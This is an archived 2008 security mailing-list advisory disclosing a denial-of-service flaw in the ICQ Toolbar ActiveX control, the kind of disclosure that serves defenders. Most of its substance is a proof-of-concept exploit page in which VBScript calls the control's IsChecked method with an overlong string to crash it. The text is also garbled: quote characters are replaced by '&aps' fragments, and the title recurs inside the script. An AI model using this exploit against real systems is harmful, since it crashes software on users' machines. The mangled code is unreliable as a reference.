

[EXPL] ICQ Toolbar IsChecked Denial of Service

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2008-03/msg00007.html>

- *From:* SecuriTeam <support@xxxxxxxxxxxxxx>
 - *Date:* 4 Mar 2008 10:55:59 +0200
-

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

ICQ Toolbar IsChecked Denial of Service

SUMMARY

A vulnerability in ICQ Toolbar allows remote attackers to cause the control to crash by providing it with an arbitrarily long IsChecked value.

DETAILS

Exploit:

<html>

Test Exploit page

<object classid=&apscldid:855F3B16-6D32-4FE6-8A56-BBB695989046&aps
id=&apstarget&aps ></object>

<script language=&apsvbscript&aps>

&apswscript.echo typename(target)

&ap sfor debugging/custom prolog

targetFile = "D:\Program Files\ICQToolbar\toolbaru.dll"

prototype = "Function IsChecked (ByVal url As String) As Long"

memberName = "IsChecked"

progid = "SoftomateLib.SoftomateObj"

[EXPL] ICQ Toolbar IsChecked Denial of Service

```
argCount = 1  
arg1=String(2068, "A")  
target.IsChecked arg1  
</script>
```

ADDITIONAL INFORMATION

The information has been provided by Nir Goldshlager.
The original article can be found at: <goldshlager19@xxxxxxxxxx>
goldshlager19@xxxxxxxxxx

=====

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@xxxxxxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxxxxxx

=====

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.